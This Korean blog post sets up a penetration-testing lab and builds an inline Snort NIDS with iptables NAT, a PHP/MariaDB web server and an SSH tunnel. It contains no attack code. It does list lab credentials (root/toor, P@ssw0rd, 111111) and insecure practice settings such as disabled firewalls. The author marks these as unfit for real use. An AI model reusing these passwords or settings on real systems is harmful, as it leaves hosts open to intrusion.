Linux/모의해킹

모의해킹 체크리스트

GGkeeper 2022. 1. 19. 22:55

모의해킹_체크리스트_2.zip
암호 : H@ck1nG2@

네트워크 구조

                   20.20.20.0/24
도메인 : ktest.com

   .10                                        .56 .77
[Attacker]----------[switch]----------[Victim2 WEB Server]
                       |
       |
               [Victim1 DNS Server]
              .20

모의해킹_체크리스트_1.zip 파일의 압축을 해제하면 아래처럼 3개의 폴더가 나온다.
Victim1 DNS Server : CentOS6.7_DNS_2
Victim2 WEB Server : CentOS6.7_WEB_2
Attacker : Kali2016_Attacker_2

만들어진 각 폴더에 wmx 확장자를 더블클릭해서 VM으로 올린다.

CentOS6.7_DNS_2 폴더에 들어가서 CentOS6.7_64bit.vmx -> I move It 클릭
CentOS6.7_WEB_2 폴더에 들어가서 CentOS6.7_min.vmx   -> I move It 클릭
Kali2016_Attacker_2 폴더에 들어가서 Kali-Linux-2016.1-vm-amd64.vmx -> I move It 클릭

관리자 비밀번호
Kali2016_Attacker_2 : root/toor
CentOS6.7_DNS_2 : root/P@ssw0rd
CentOS6.7_WEB_2 : 알수없음

Kali 로 로그인 한다.
IP주소를 확인하고 DNS에 ping으로 통신이 되는지 확인한다.
root@kali:~# ip a
root@kali:~# ping -c 3 20.20.20.20

***** 조건 : 
***** 작업은 Host OS와 상관없이 Kali Linux 에서만 진행한다. 
***** 로그인은 Kali Linux에서만 하고 진행한다. 1시간 30분 작업 시간을 주기 때문에 
***** DNS는 로그인하지 않아도 충분히 풀 수 있지만 모르면 DNS도 로그인해서 문제를 해결하면 된다.
***** 단 DNS는 1시간 이후에 로그인하는 것으로 원칙을 정한다.

Kali Linux에서 브라우저 실행하는 법
root@kali:~# firefox &


미션1> 아래 네트워크를 구축하시오.

-- 네트워크 구성도 --

192.168.108.1 : Host OS
192.168.108.100 : CentOS 7,    F/W(NIDS) F/W에 Snort 를 설치한다.
192.168.108.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)
192.168.108.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
192.168.108.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
192.168.108.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
192.168.108.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)
192.168.108.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
192.168.108.200 : Kali Linux,  Attacker 

                  192.168.108.110  -------------------------------------------------------+ 
                  192.168.108.105                  DNAT                                   |
                  192.168.108.104(DBMS)                                                   |
                  192.168.108.103:80 -------------------------------+                     |
192.168.108.200   192.168.108.102:80 ------------------------+      |                     |
Attacker          192.168.108.101:80 -----------------+      |      |                     |
  |               192.168.108.0/24                    |      |      |                     |
  |          108.254  |                               |      |      |                     |
  |    ens33(vmnet8)  |  NIDS설치                      |      |      |                     |
외부망 --------------[ F/W(NIDS) ] --------- 내부망      |      |      |                     |
  |     ens38(vmnet2) |    | ens36(vmnet1)            |80    |80    |80                   |
  |           102.254 |      101.253                  |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
192.168.108.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    ens38(vment2)                      웹서버 모두 DBMS 서버를 사용
                 192.168.102.0/24                          ens33 (vmnet1)
                                                           192.168.101.0/24

Rocky Linux : https://cafe.naver.com/linuxmasternet/1649


미션2> 아래 네트워크 환경을 구축하시오.

                        VMnet8                   VMnet1
                   192.168.108.0/24         192.168.101.0/24
                                  fw                              web1
[인터넷]----------[GW]----------[IDS/IPS]----------[SW]----------[Server] 
                  |            |      |                         |  
                108.2      108.254   101.253                 101.101
            ens33     ens36                   ens33


[IDS/IPS]
- NIC 2개 
- NIC1 : VMnet8 NAT
- NIC2 : VMnet1
- Hostname : fw.linuxmaster.net

[Server]
- NIC 1개 
- NIC1 : VMnet8 NAT
- Hostname : web1.linuxmaster.net

CD/DVD 가 CentOS 7 설치 후에 disconnect 된다.
그러므로 CD/DVD connect로 클릭한다.

[root@web1 ~]# mount /dev/cdrom /media/
[root@web1 ~]# rpm -Uvh /media/Packages/net-<tab키>

네트워크 설정
WEB#1의 네트워크를 VMnet1로 변경한다.
VMnet Network : VMnet1
IP주소 : 192.168.101.101
서브넷마스크 : 255.255.255.0
게이트웨이 : 192.168.101.254
DNS서버 : 168.126.63.1

nmtui를 이용해서 네트워크를 수동으로 설정한다.
[root@web1 ~]# nmtui
ens33
IPv4 설정       <수동>
주소 192.168.101.101/24
게이트웨이 192.168.101.253
DNS 서버 168.126.63.1
[X] 자동으로 연결  

[root@web1 ~]# systemctl restart network
[root@web1 ~]# ifconfig
[root@web1 ~]# ip a
[root@web1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.101.253 0.0.0.0         UG    100    0        0 ens33
192.168.101.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

[root@web1 ~]# ping -c 3 192.168.101.253
PING 192.168.101.253 (192.168.101.253) 56(84) bytes of data.
64 bytes from 192.168.101.253: icmp_seq=1 ttl=64 time=0.540 ms
64 bytes from 192.168.101.253: icmp_seq=2 ttl=64 time=0.219 ms
64 bytes from 192.168.101.253: icmp_seq=3 ttl=64 time=0.430 ms

--- 192.168.101.253 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.219/0.396/0.540/0.134 ms



미션3> 설치한 네트워크에 NIDS를 구축하시오.

핵심 : NIDS

o IDS : 탐지
o IPS : 탐지/차단

o IDS 위치 : 
인라인 모드가 아닌 경우 
[인터넷]----------[GW]----------[SW]----------[Server] 
                                |
                              [IDS]

인라인 모드인 경우 
                        VMnet8                   VMnet1
                   192.168.108.0/24         192.168.101.0/24

[인터넷]----------[GW]----------[IDS/IPS]----------[SW]----------[Server] 
                  108.2      108.254 101.253                 101.101

-- 실습 순서 --
1. EPEL 저장소 설치
2. 패키지 설치
3. 패키지 확인
4. snort 다운로드
5. 컴파일 및 설치
6. 설치 확인
7. rule 다운로드
8. 설정파일 수정
9. 사용자 계정 추가 및 권한설정
10. snort 설정확인
11. 룰 설정 
12. snort 실행 
13. 로그 확인
-- 실습 순서 --

F/W(NIDS)# systemctl stop firewalld
F/W(NIDS)# systemctl disable firewalld

1. EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
F/W(NIDS)# yum -y install epel-release

2. 패키지 설치
snort 를 설치하기 위한 필요한 패키지를 설치한다.
F/W(NIDS)# yum -y install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel

NIDS로 snort 를 설치하기 위해 아래 패키지들을 설치한다.
F/W(NIDS)# yum -y install libnetfilter_queue libnetfilter_queue-devel libmnl

3. 패키지 확인
패키지들의 설치여부를 확인한다.
F/W(NIDS)# rpm -q gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump

4. snort 다운로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있으므로 참고한다.

daq-2.0.6.tar.gz, snort-2.9.11.1.tar.gz 파일은 WinSCP로 리눅스 서버에 업로드 한다.
F/W(NIDS) 서버로 /root 디렉터리로 업로드한 후 압축을 풀고 시스템에 설치한다.


5. 컴파일 및 설치
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용

현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어로 시간을 설정한다.
F/W(NIDS)# yum -y install rdate
F/W(NIDS)# rdate -s time.bora.net

F/W(NIDS)# cd 
F/W(NIDS)# tar xzf daq-2.0.6.tar.gz
F/W(NIDS)# cd daq-2.0.6
F/W(NIDS)# ./configure && make && make install
F/W(NIDS)# cd ..

F/W(NIDS)# tar xzf snort-2.9.11.1.tar.gz
F/W(NIDS)# cd snort-2.9.11.1
F/W(NIDS)# ./configure --enable-sourcefire && make && make install
F/W(NIDS)# cd ..

DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
F/W(NIDS)# snort  --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv

F/W(NIDS)# ls -l /usr/local/lib/daq/
합계 228
-rwxr-xr-x. 1 root root   959  1월 17 20:45 daq_afpacket.la
-rwxr-xr-x. 1 root root 59160  1월 17 20:45 daq_afpacket.so
-rwxr-xr-x. 1 root root   915  1월 17 20:45 daq_dump.la
-rwxr-xr-x. 1 root root 29432  1월 17 20:45 daq_dump.so
-rwxr-xr-x. 1 root root   935  1월 17 20:45 daq_ipfw.la
-rwxr-xr-x. 1 root root 32872  1월 17 20:45 daq_ipfw.so
-rwxr-xr-x. 1 root root   966  1월 17 20:45 daq_nfq.la
-rwxr-xr-x. 1 root root 40704  1월 17 20:45 daq_nfq.so
-rwxr-xr-x. 1 root root   915  1월 17 20:45 daq_pcap.la
-rwxr-xr-x. 1 root root 37152  1월 17 20:45 daq_pcap.so


6. 설치 확인
F/W(NIDS)# snort -V

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.11.1 GRE (Build 268)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.5.3
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7

7. rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

/etc/snort 디렉터리를 생성하고 /etc/snort 디렉터리로 이동한다.
F/W(NIDS)# mkdir /etc/snort
F/W(NIDS)# cd /etc/snort
F/W(NIDS)# cp ~/snort-2.9.11.1/etc/* .

snort 사이트에서 community rules 파일을 다운로드 받는다.
F/W(NIDS)# yum -y install wget
F/W(NIDS)# wget https://www.snort.org/downloads/community/community-rules.tar.gz 
F/W(NIDS)# tar xzf community-rules.tar.gz 

rules 라는 이름의 룰 디렉토리를 생성한다.
F/W(NIDS)# mkdir rules

화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 (white_list.rules) : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 (black_list.rules) : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
F/W(NIDS)# touch rules/white_list.rules
F/W(NIDS)# touch rules/black_list.rules
F/W(NIDS)# ls -l rules/
합계 0
-rw-r--r--. 1 root root 0  1월 17 21:13 black_list.rules
-rw-r--r--. 1 root root 0  1월 17 21:13 white_list.rules


8. 설정파일 수정
var HOME_NET : snort 에서 탐지할 목적지 ip 주소를 설정한다.(192.168.108.0/24)
var EXTERNAL_NET : snort 에서 탐지할 출발지 ip 주소를 설정한다.(any)
var RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.

기존에 설정된 HOME_NET any를 주석으로 설정하고 자신의 네트워크를 HOME_NET에 설정한다.
F/W(NIDS)# vi snort.conf
-- /etc/snort/snort.conf --
#ipvar HOME_NET any
ipvar HOME_NET 192.168.108.0/24 <-- 변경
ipvar EXTERNAL_NET any          <-- 확인
ipvar HTTP_SERVERS $HOME_NET    <-- 확인


# 아래 나오는 RULE_PATH, SO_RULE_PATH, PREPROC_RULE_PATH 경로를 모두 ../ 에서 /etc/snort/ 로 변경한다.
#var RULE_PATH ../rules
#var SO_RULE_PATH ../so_rules
#var PREPROC_RULE_PATH ../preproc_rules
var RULE_PATH /etc/snort/rules  
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules

# 아래 나오는 WHITE_LIST_PATH, BLACK_LIST_PATH 경로를 모두 ../ 에서 /etc/snort/ 로 변경한다.
#var WHITE_LIST_PATH ../rules
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

# 166번 라인쯤에 4줄을 복사해서 설정한다. nfq 설정을 넣어준다.
# config daq: <type>
# config daq_dir: <dir>
# config daq_mode: <mode>
# config daq_var: <var>
config daq: nfq
config daq_dir: /usr/local/lib/daq 
config daq_mode: inline
config daq_var: queue=0

# 263번 라인 근처에 dynamicdetection을 주석으로 처리한다.
#dynamicdetection directory /usr/local/lib/snort_dynamicrules 

# 556번 라인근처에 local.rules는 빼고 
# local.rules 밑에서 부터 라인수를 확인해서 각자의 라인 번호를 확인한다.
# app-detect.rules 부터 x11.rules 까지 나머지를 모두 주석으로 처리한다.
#
# vi 에서 한번에 주석처리하기 : :시작줄번호,끝줄번호s/^/#
# 예) :556,659s/^/#
# 스크립트로 작성하면 sed 를 이용해서 자동화 처리를 이용할 수도 있다.
# 향후 Kali Linux Snort rules 파일들을 가져와서 설정한다. (주석 해제 가능)

주석처리된 설정파일은 아래와 같다. 

include $RULE_PATH/local.rules

#include $RULE_PATH/app-detect.rules
#include $RULE_PATH/attack-responses.rules
#include $RULE_PATH/backdoor.rules
  : 
  : 나머지 룰 파일들을 모두 주석으로 처리한다.
  :(생략)
#include $RULE_PATH/web-php.rules
#include $RULE_PATH/x11.rules
  :
  :
-- /etc/snort/snort.conf --


9. 사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할 수 있게 허가권의 접근 권한을 설정한다.
F/W(NIDS)# useradd snort -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS
F/W(NIDS)# grep snort /etc/passwd
snort:x:40000:40000:SNORT_IDS:/var/log/snort:/sbin/nologin
F/W(NIDS)# chown -R snort:snort /etc/snort
F/W(NIDS)# chmod 700 /etc/snort
F/W(NIDS)# ls -ld /etc/snort
drwx------. 4 snort snort 4096  1월 17 21:38 /etc/snort


/etc/snort/rules/local.rules 파일을 생성한다.
F/W(NIDS)# touch rules/local.rules

10. snort 설정확인
설정파일 실패 : 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공 : 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.

-T : 테스트 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-Q : 인라인 모드 옵션(Enable inline mode operation.)

F/W(NIDS)# snort -T -u snort -g snort -c /etc/snort/snort.conf -Q

자신의 인터페이스를 확인한 후 사용한다.
snort --help 옵션을 이용해서 도움말을 확인한다.
F/W(NIDS)# snort --help 

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.11.1 GRE (Build 268)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3

  :
  :

11. 룰 설정 
local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위 
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해 배포하는 탐지 규칙에서 사용
1,000,001 이상  : 사용자가 탐지 규칙을 설정할 때 만들어서 사용

F/W(NIDS)# vi /etc/snort/rules/local.rules 
-- /etc/snort/rules/local.rules --
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
-- /etc/snort/rules/local.rules --

!!! 참고 !!!
# 아래꺼는 탐지 불가능
# snort.conf : ipvar HOME_NET 192.168.108.0/24
#alert icmp any any -> 192.168.108.101 any ( msg:"ICMP ing test"; sid: 1000001;)

# 아래꺼는 탐지 가능
# snort.conf : ipvar HOME_NET 192.168.108.0/24
#alert icmp any any -> 192.168.101.101 any ( msg:"ICMP ing test"; sid: 1000001;)


# 아래꺼는 탐지 불가능
# snort.conf : ipvar HOME_NET 192.168.101.0/24
# alert icmp any any -> 192.168.108.101 any ( msg:"ICMP ing test"; sid: 1000001;)


# 아래꺼는 탐지 가능
#ipvar HOME_NET 192.168.101.0/24
#alert  icmp any any -> 192.168.101.101 any ( msg:"ICMP ing test"; sid: 1000001;)
#drop  icmp any any -> 192.168.101.101 any ( msg:"ICMP ing test"; sid: 1000001;)

!!! NFQUEUE를 반드시 FORWARD 체인에 첫 번째 룰에 넣어야 한다. !!!
!!! snort가 실행되면 반드시 NFQUEUE가 FORWARD 체인에 룰이 설정되어 있어야 한다.
F/W(NIDS)# systemctl stop firewalld
F/W(NIDS)# systemctl disable firewalld
F/W(NIDS)# yum -y install iptables-services
F/W(NIDS)# systemctl --now enable iptables
F/W(NIDS)# iptables -F
F/W(NIDS)# iptables -A FORWARD -j NFQUEUE -m comment --comment snort
F/W(NIDS)# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* snort */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

현재 룰을 /etc/sysconfig/iptables 파일에 저장한다.
F/W(NIDS)# iptables-save >  /etc/sysconfig/iptables


F/W(NIDS)# cat /etc/sysconfig/iptables
# Generated by iptables-save v1.4.21 on Mon Jan 17 21:48:36 2022
*filter
:INPUT ACCEPT [150:8812]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [81:8716]
-A FORWARD -m comment --comment snort -j NFQUEUE --queue-num 0
COMMIT
# Completed on Mon Jan 17 21:48:36 2022

12. NAT 설정
내부망 서버가 외부망과 통신이 되기 위해서 NAT설정을 한다.

nat 테이블
- POSTROUTING : Source NAT(SNAT) 타겟과 매칭되어 내부 네트워크에서 방화벽을 통해 외부로 나갈 때 사용
- PREROUTING  : Destination NAT(DNAT)타겟과 매칭되어 주로 외부에서 방화벽 내부 서버로 향하는 패킷을 포워딩 할 때 사용
- OUTPUT      : nat 테이블을 빠져 나갈때 사용


                                      DNAT
                          108.101 -----------> 101.101
  [PC]----------------------[방화벽]-----------[WEB#1]
    108.1               108.254 101.253     101.101
                        108.101 <----------- 101.101
                                      SNAT
----------------------------- 참고 ----------------------------
iptables -t nat -A PREROUTING -d 목적지 -j DNAT --to 돌려줄IP주소
                     -t nat 
                DNAT(Destnation NAT) : 외부의 공인 IP를 내부의 사설IP로 포워딩 하는 경우 사용
            ---------------------->
   외부망 ------- [ firewall ] ------- 내부망
            <----------------------
                     -t nat 
                SNAT(Source NAT) : 내부의 사설 IP를 외부의 공인 IP로 변환할 때 사용
                MASQUERADE

iptables -t nat -A POSTROUTING -s 출발지 -o ens33 -j MASQUERADE
----------------------------- 참고 ----------------------------

포트 포워딩 형식 : 
iptables -t nat -A PREROUTING -d 목적지 -p tcp --dport 포트번호 -j DNAT --to 포워딩IP:포트

ex)
iptables -t nat -A PREROUTING -d 192.168.108.101 -p tcp --dport 80 -j DNAT --to 192.168.102.101:80

설명 : 
-t nat : 주소변환 테이블인 nat 테이블을 사용한다.
-A PREROUTING : 외부에서 내부로 들어오는 패킷은 nat 테이블의 PREROUTING 체인을 사용한다.
-d : 목적지 IP주소는 192.168.108.101 을 사용한다.
-p tcp : 프로토콜은 tcp 프로토콜을 사용한다.
--dport 80 : 목적지 포트는 80번으로 사용한다.
-j DNAT : 목적지를 주소를 변경한다
--to(--to-destination) 192.168.102.101:80 : 변경할 목적지는 192.168.102.101의 80포트로 설정한다.
192.168.108.101:80 -> 192.168.101.101:80

192.168.101.101 이 사용할 IP주소 192.168.108.101 을 추가한다.
[root@fw ~]# nmtui
IPv4 설정 : <수동>
주소 : 192.168.108.254/24
      192.168.108.101/24
게이트웨이 : 192.168.108.2
DNS 서버 : 168.126.63.1 
          168.126.63.2
[root@fw ~]# systemctl restart network

SNAT 설정을 한다.
- POSTROUTING: SNAT
- PREROUTING: DNAT
iptables -t nat -A POSTROUTING -s 출발지 -o ens33 -j --to 변경할외부망IP주소
[root@fw ~]# iptables -t nat -A POSTROUTING -s 192.168.101.101 -j SNAT --to 192.168.108.101

DNAT 설정을 한다.
iptables -t nat -A PREROUTING -d 목적지 -j DNAT --to 변경할내부망IP주소
[root@fw ~]# iptables -t nat -A PREROUTING -d 192.168.108.101 -j DNAT --to 192.168.101.101

패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
[root@fw ~]# vi /etc/sysctl.conf 
net.ipv4.ip_forward = 1

커널 파라미터를 적용하기 위해서는 sysctl -p 를 실행한다.
[root@fw ~]# sysctl -p
net.ipv4.ip_forward = 1

포워딩 설정이 잘 되었는지 확인한다.
[root@fw ~]# cat /proc/sys/net/ipv4/ip_forward
1

아직 snort를 실행하지 않았으므로 NFQUEUE FORWARD 체인에 룰을 삭제한다.
[root@fw ~]# iptables -F

내부망 웹서버가 외부로 ping을 보내면 통신이 잘 되는걸 확인할 수 있다.
[root@web1 ~]# ping -c 3 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=41.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=39.9 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=39.6 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 39.682/40.264/41.119/0.659 ms


웹서버1에서 네트워크 방화벽을 사용하기 때문에 호스트 방화벽을 모두 내린다.
[root@web1 ~]# systemctl stop firewalld
[root@web1 ~]# systemctl disable firewalld

웹서버1에서 APM 관련 패키지를 설치한다.
[root@web1 ~]# yum -y install httpd php php-mysql mariadb mariadb-server

GD 라이브러리를 설치한다.
GD 라이브러리는 서버를 설치하는데 있어서 무조건 필수라고 생각하면 된다.
[root@web1 ~]# yum -y install php-gd gd gd-devel libjpeg libjpeg-devel giflib giflib-devel libpng libpng-devel freetype freetype-devel

웹서버 설정파일을 수정한다. 
파일의 확장자가 .php, .html이면 php로 인식하는 설정을 한다.
[root@web1 ~]# vi /etc/httpd/conf.d/php.conf
<FilesMatch \.(php|html)$>
    SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex index.php index.html

PHP 설정파일을 수정한다.
date.timezone : 시간대 설정
short_open_tag : <?php -> <?
expose_php : 연동된 정보 출력 여부
display_errors : 개발용 On, 운영용 Off
개발용 On : PHP 코드가 에러가 발생되면 브라우저 화면에 에러가 출력된다.
운영용 Off : /var/log/httpd 로그 디렉터리에 파일로 기록된다.
[root@web1 ~]# vi /etc/php.ini

[Date]
date.timezone = Asia/Seoul

short_open_tag = On
expose_php = Off
display_errors = On

[root@web1 ~]# systemctl --now enable httpd
[root@web1 ~]# systemctl status httpd

웹 페이지가 잘 연동 되었는지 확인한다.
[root@web1 ~]# cd /var/www/html
[root@web1 html]# touch index.html
[root@web1 html]# vi __indexTest__.php
<? phpinfo(); ?>

웹 브라우저에서 확인한다. 
http://192.168.108.101/__indexTest__.php

PHP 연동이 잘 되었다면 임시 파일은 삭제한다.
[root@web1 html]# rm -f __indexTest__.php

명령행에서 php -m을 이용해서 모듈의 정보를 확인할 수 있다.
[root@web1 html]# php -m
[PHP Modules]
bz2
calendar
Core
ctype
  :
  :(생략)


MariaDB 설정파일을 utf8로 동작할 수 있도록 수정한다.
[root@web1 html]# cd
[root@web1 ~]# vi /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0
collation-server = utf8_general_ci
character-set-server = utf8
skip-character-set-client-handshake
bind-address = 127.0.0.1

mariadb 서버를 활성화시키고 서비스를 시작한다.
[root@web1 ~]# systemctl --now enable mariadb
[root@web1 ~]# systemctl status mariadb

관리자(root) 비밀번호를 P@ssw0rd로 변경한다.
[root@web1 ~]# mysqladmin -p password 
Enter password:   <-- 엔터(비번이 없으므로)
New password:  <-- P@ssw0rd
Confirm new password:  <-- P@ssw0rd

[root@web1 ~]# vi .my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd

[root@web1 ~]# mysql mysql
MariaDB [mysql]> select host,user,password from user;
+----------------------+------+-------------------------------------------+
| host                 | user | password                                  |
+----------------------+------+-------------------------------------------+
| localhost            | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| web1.linuxmaster.net | root |                                           |  <-- 삭제
| 127.0.0.1            | root |                                           |  <-- 삭제
| ::1                  | root |                                           |  <-- 삭제
| localhost            |      |                                           |  <-- 삭제
| web1.linuxmaster.net |      |                                           |  <-- 삭제
+----------------------+------+-------------------------------------------+
6 rows in set (0.00 sec)

user 테이블에 password 커럼이 값은 없는 레코드를 모두 삭제한다.
MariaDB [mysql]> delete from user where password = '';
Query OK, 5 rows affected (0.00 sec)

MariaDB [mysql]> select host,user,password from user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
+-----------+------+-------------------------------------------+
1 row in set (0.00 sec)

MariaDB [mysql]> select host,user,db from db;
+------+------+---------+
| host | user | db      |
+------+------+---------+
| %    |      | test    |  <-- 삭제
| %    |      | test\_% |  <-- 삭제
+------+------+---------+
2 rows in set (0.00 sec)

db 테이블에 모든 레코드를 삭제한다.
MariaDB [mysql]> delete from db;
Query OK, 2 rows affected (0.00 sec)

MariaDB [mysql]> select host,user,db from db;
Empty set (0.00 sec)

권한을 다시 적용시킨다.
MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)


MariaDB [(none)]> \s
--------------
mysql  Ver 15.1 Distrib 5.5.68-MariaDB, for Linux (x86_64) using readline 5.1

Connection id:          3
Current database:
Current user:           root@localhost
SSL:                    Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:        ;
Server:                 MariaDB
Server version:         5.5.68-MariaDB MariaDB Server
Protocol version:       10
Connection:             Localhost via UNIX socket  <-- 소켓 파일을 이용해서 접속
Server characterset:    utf8  <-- 확인
Db     characterset:    utf8  <-- 확인
Client characterset:    utf8  <-- 확인
Conn.  characterset:    utf8  <-- 확인
UNIX socket:            /var/lib/mysql/mysql.sock
Uptime:                 3 min 9 sec

Threads: 1  Questions: 7  Slow queries: 0  Opens: 0  Flush tables: 2  Open table avg: 0.037
--------------

MariaDB [(none)]> quit




실습> 외부 호스트 접속하기

여기서는 연습이므로 방화벽도 내리고 비밀번호도 확인할 수 있도록 설정한다.
실제 실무에서는 이렇게 사용하면 안된다.
방화벽도 올려야되고 비밀번호도 보여주면 안된다.

터널링 기법을 사용하는 방법

+--------+         +--------+         +--------------+
|        |         |        |         |              |
|      ----------------------------------   +------+ |
|                  SSH tunnel               | DBMS | |
|      ----------------------------------   +------+ |
|        |         |        |         |              |
+--------+         +--------+         +--------------+
 Host OS           F/W(IDS/IPS)          DBMS Server
192.168.108.1     192.168.108.101      192.168.101.101

1. 127.0.0.1 포트 오픈

# vi /etc/my.cnf
-- /etc/my.cnf --
[mysqld]
bind-address = 127.0.0.1
-- /etc/my.cnf --

# systemctl restart mariadb
# netstat -nltp | grep 3306
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      6222/mysqld  

2. 사용자 생성
터널링으로 연결할 사용자를 생성한다.
# useradd user1
# echo 111111 | passwd --stdin user1

3. 애플리케이션 설정
서버에서 SSH 서비스의 포워딩을 설정하는 옵션이 켜져있어야 한다.
특별하게 설정을 수정하지 않는다면 기본값으로 설정되어 있다.
공격에 활용될 수 있기 때문에 터널링을 이용해서 포워딩 설정을 하지 않는다면 이 옵션은 끄는게 좋다.
# grep  AllowTcpForward /etc/ssh/sshd_config 
#AllowTcpForwarding yes
# AllowTcpForwarding no

클라이언트에서 DBeaver를 설정한다.
새 데이터베이스 연결 -> MariaDB를 선택한다.

Main 탭
- Server Host : localhost
- Username : root
- Password : P@ssw0rd

SSH 탭
- Use SSH 터널 체크
- Host/IP : 192.168.108.101
- Port : 22
- User Name : user1
- Athentication Method : password
- Password : 111111 

4. 접속
접속하면 DBMS 서버로 접속할 수 있다.

12. snort 실행 

위에서 중지한 NFQUEUE를 등록한다.
[root@fw ~]# iptables -A FORWARD -m comment --comment snort -j NFQUEUE --queue-num 0
[root@fw ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* snort */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination 

[root@fw ~]# iptables -t nat -nL
